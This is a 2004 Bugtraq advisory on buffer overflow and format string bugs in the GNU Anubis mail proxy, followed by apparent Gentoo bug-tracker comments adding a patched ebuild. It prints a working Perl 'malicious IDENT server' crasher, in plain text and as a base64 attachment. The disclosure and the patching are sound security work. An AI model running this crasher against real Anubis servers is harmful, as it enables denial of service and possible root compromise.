Message-Id: <1078427980.4047814c1dfe5@webmail.uu.se> Date: Thu, 4 Mar 2004 20:19:40 +0100 From: Ulf =?iso-8859-1?b?SORybmhhbW1hcg==?= <Ulf.Harnhammar.9485@student.uu.se> Reply-To: ulf.harnhammar.9485@student.uu.se To: bugtraq@securityfocus.com Cc: full-disclosure@lists.netsys.com Subject: GNU Anubis buffer overflows and format string bugs Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="-MOQ1078427979a860bcf4bfdea716514571254e9995fd" User-Agent: Internet Messaging Program (IMP) 3.2.1 ---MOQ1078427979a860bcf4bfdea716514571254e9995fd Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Subject: GNU Anubis buffer overflows and format string bugs PROGRAM: GNU Anubis VENDOR: Free Software Foundation, Inc. HOMEPAGE: http://www.gnu.org/software/anubis/ VULNERABLE VERSIONS: 3.6.2, 3.9.93, 3.9.92, 3.6.0, 3.6.1, possibly others IMMUNE VERSIONS: 3.6.2 with vendor patch, 3.9.93 with vendor patch, latest CVS REFERENCES: not yet * DESCRIPTION * "GNU Anubis is an outgoing mail processor. It goes between the MUA (Mail User Agent) and the MTA (Mail Transport Agent), and can perform various sorts of processing and conversion on-the-fly in accordance with the sender's specified rules, based on a highly configurable regular expressions system. It operates as a proxy server, and can edit outgoing mail headers, encrypt or sign mail with the GnuPG, build secure SMTP tunnels using the TLS/SSL encryption even if your mail user agent doesn't support it, or tunnel a connection through a SOCKS proxy server." (quoted from freshmeat.net) * SUMMARY * I have found two buffer overflows and three format string bugs in GNU Anubis. They can all be remotely exploited, potentially to get root access, as GNU Anubis usually runs as root and drops its privileges after executing some of the vulnerable functions. * TECHNICAL DETAILS * a) There are two buffer overflows in the function auth_ident() in auth.c. The overflows are caused by sscanf() format strings of the type "%s" instead of "%63s". b) There are format string bugs in three instances of the syslog() call. They are located in the function info() in log.c, the function anubis_error() in errs.c and the function ssl_error() in ssl.c. The vulnerable functions take strings partially made up of user-supplied data, and use them as the format string instead of using them as parameters ('syslog(priority, string);' instead of 'syslog(priority, "%s", string);'). These format string bugs become a bigger problem if you set termlevel to VERBOSE or DEBUG, as GNU Anubis then will log more data with the syslog() facility. * SOLUTION * The vendor has released official security patches for 3.6.2 and 3.9.93. They can be downloaded from the program's homepage. They correct both the buffer overflows and the format string bugs. * MALICIOUS IDENT SERVER * One of the methods of attacking GNU Anubis is through IDENT data, as it always connects to the client's IDENT server to get more information about the client. I wrote a simple malicious IDENT server in Perl. It crashes the current instance of GNU Anubis, either by using the buffer overflows or by using the format string bugs. Here it is: #!/usr/bin/perl -- # anubis-crasher # Ulf Harnhammar 2004 # I hereby place this program in the Public Domain. use IO::Socket; sub usage() { die "usage: $0 type\n". "type is 'a' (buffer overflow) or 'b' (format string bug).\n"; } # sub usage $port =3D 113; usage() unless @ARGV =3D=3D 1; $type =3D shift; usage() unless $type =3D~ m|^[ab]$|; $send{'a'} =3D 'U' x 400; $send{'b'} =3D '%n' x 28; $sendstr =3D $send{$type}; $server =3D IO::Socket::INET->new(Proto =3D> 'tcp', LocalPort =3D> $port, Listen =3D> SOMAXCONN, Reuse =3D> 1) or die "can't create server: $!"; while ($client =3D $server->accept()) { $client->autoflush(1); print "got a connection\n"; $input =3D <$client>; $input =3D~ tr/\015\012//d; print "client said $input\n"; # $wait =3D <STDIN>; # $wait =3D 'be quiet, perl -wc'; $output =3D "a: USERID: a:$sendstr"; print $client "$output\n"; print "I said $output\n"; close $client; print "disconnected\n"; } # while client=3Dserver->accept __END__ * 31337 IRC KIDDIES * K: "w0w d00d m0r3 buphph3r 0v3rphl0wzZz 4nd ph0rm4t zZztr1ngzZz!!1! but why d0 y4 p0zZzt 4b0ut th4t xss ph1lt3r??+??+? w3 1n 'h4ck3rzZz phr0m h3ll' r n0t 4muzZz3d!! xss 1zZzn't r34lly 4 vuln3r4b1l1ty c0z 1t'zZz 34zZzy t0 3xpl01t th4t vuln3r4b1l1ty 4nd th3n u c4n't pr00v3 h0w 31337 u r!!! th3 n31ghb0ur'zZz d4ught3r 1zZz r34lly cut3 4nd 1ph 1 ph1nd l0tzZz 0ph buphph3r 0v3rphl0wzZz zZzh3'll b3 1mpr3zZzZzZ3d 4nd g0 t0 th3 m0v13zZz w1th m3 but th4t w0n't h4pp3n 1ph 1 ph1nd xss h0l3zZz!!!!11!!!1!!11!!!!" U: "Virgin." (Anyone on IRC who doesn't behave like K here is of course OK.) // Ulf Harnhammar kses - 31337 PHP HTML/XHTML filter (no XSS) http://sourceforge.net/projects/kses ---MOQ1078427979a860bcf4bfdea716514571254e9995fd Content-Type: application/octet-stream; name="anubis-crasher.pl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="anubis-crasher.pl" IyEvdXNyL2Jpbi9wZXJsIC0tCgojIGFudWJpcy1jcmFzaGVyCiMgVWxmIEhhcm5oYW1tYXIgMjAw NAojIEkgaGVyZWJ5IHBsYWNlIHRoaXMgcHJvZ3JhbSBpbiB0aGUgUHVibGljIERvbWFpbi4KCnVz ZSBJTzo6U29ja2V0OwoKCnN1YiB1c2FnZSgpCnsKICBkaWUgInVzYWdlOiAkMCB0eXBlXG4iLgog ICAgICAidHlwZSBpcyAnYScgKGJ1ZmZlciBvdmVyZmxvdykgb3IgJ2InIChmb3JtYXQgc3RyaW5n IGJ1ZykuXG4iOwp9ICMgc3ViIHVzYWdlCgoKJHBvcnQgPSAxMTM7Cgp1c2FnZSgpIHVubGVzcyBA QVJHViA9PSAxOwokdHlwZSA9IHNoaWZ0Owp1c2FnZSgpIHVubGVzcyAkdHlwZSA9fiBtfF5bYWJd JHw7Cgokc2VuZHsnYSd9ID0gJ1UnIHggNDAwOwokc2VuZHsnYid9ID0gJyVuJyB4IDI4Owokc2Vu ZHN0ciA9ICRzZW5keyR0eXBlfTsKCiRzZXJ2ZXIgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUHJv dG8gPT4gJ3RjcCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTG9jYWxQb3J0ID0+ ICRwb3J0LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExpc3RlbiA9PiBTT01BWENP Tk4sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmV1c2UgPT4gMSkgb3IKICAgICAg ICAgIGRpZSAiY2FuJ3QgY3JlYXRlIHNlcnZlcjogJCEiOwoKd2hpbGUgKCRjbGllbnQgPSAkc2Vy dmVyLT5hY2NlcHQoKSkKewogICRjbGllbnQtPmF1dG9mbHVzaCgxKTsKICBwcmludCAiZ290IGEg Y29ubmVjdGlvblxuIjsKCiAgJGlucHV0ID0gPCRjbGllbnQ+OwogICRpbnB1dCA9fiB0ci9cMDE1 XDAxMi8vZDsKICBwcmludCAiY2xpZW50IHNhaWQgJGlucHV0XG4iOwoKIyAgJHdhaXQgPSA8U1RE SU4+OwojICAkd2FpdCA9ICdiZSBxdWlldCwgcGVybCAtd2MnOwoKICAkb3V0cHV0ID0gImE6IFVT RVJJRDogYTokc2VuZHN0ciI7CiAgcHJpbnQgJGNsaWVudCAiJG91dHB1dFxuIjsKICBwcmludCAi SSBzYWlkICRvdXRwdXRcbiI7CgogIGNsb3NlICRjbGllbnQ7CiAgcHJpbnQgImRpc2Nvbm5lY3Rl ZFxuIjsKfSAjIHdoaWxlIGNsaWVudD1zZXJ2ZXItPmFjY2VwdAoKX19FTkRfXwo= ---MOQ1078427979a860bcf4bfdea716514571254e9995fd-- Reproducible: Always Steps to Reproduce: 1. 2. 3. A patch is mentioned in the advisory, will get it added here.
Created attachment 26872 [details] anubis-3.6.2 patch http://savannah.gnu.org/patch/?func=detailitem&item_id=2699
Remote exploit published. http://www.securityfocus.com/archive/1/356928 If there's no one maintaining this I'll get the ebuild updated as soon as I can. -Dave
Created attachment 27231 [details, diff] ebuild patch to resolve the vulnerability. --- /usr/portage/net-mail/anubis/anubis-3.6.2.ebuild 2003-09-05 04:08:59.0000 00000 -0500 +++ /usr/local/portage/net-mail/anubis/anubis-3.6.2.ebuild 2004-03-12 01:34 :08.894638904 -0500 @@ -19,6 +19,12 @@ S=${WORKDIR}/${P} +src_unpack() { + unpack ${P}.tar.gz + + epatch ${FILESDIR}/${P}-securityfixes.patch +} + src_compile() { local myconf
anubis-3.6.2-r1.ebuild ====================== DESCRIPTION="GNU Anubis is an outgoing mail processor." HOMEPAGE="http://www.gnu.org/software/anubis/" SRC_URI="mirror://gnu/anubis/${P}.tar.gz" LICENSE="GPL-2" SLOT="0" KEYWORDS="x86" IUSE="ssl pam tcpd crypt" DEPEND="crypt? ( >=app-crypt/gpgme-0.3.13 ) ssl? ( >=dev-libs/openssl-0.9.6 ) pam? ( >=sys-libs/pam-0.75 ) tcpd? ( >=sys-apps/tcp-wrappers-7.6 ) >=dev-libs/libpcre-3.9" S=${WORKDIR}/${P} src_unpack() { unpack ${P}.tar.gz epatch ${FILESDIR}/${P}-securityfixes.patch } src_compile() { local myconf myconf="--with-pcre" use crypt || myconf="${myconf} --without-gpgme" use ssl && myconf="${myconf} --with-openssl" use pam && myconf="${myconf} --with-pam" use tcpd && myconf="${myconf} --with-tcp-wrappers" ./configure ${myconf} --prefix=/usr --host=${CHOST} || die emake || die } src_install() { einstall }
Fixed in cvs as 3.6.2-r1. blame cshields for breakage.
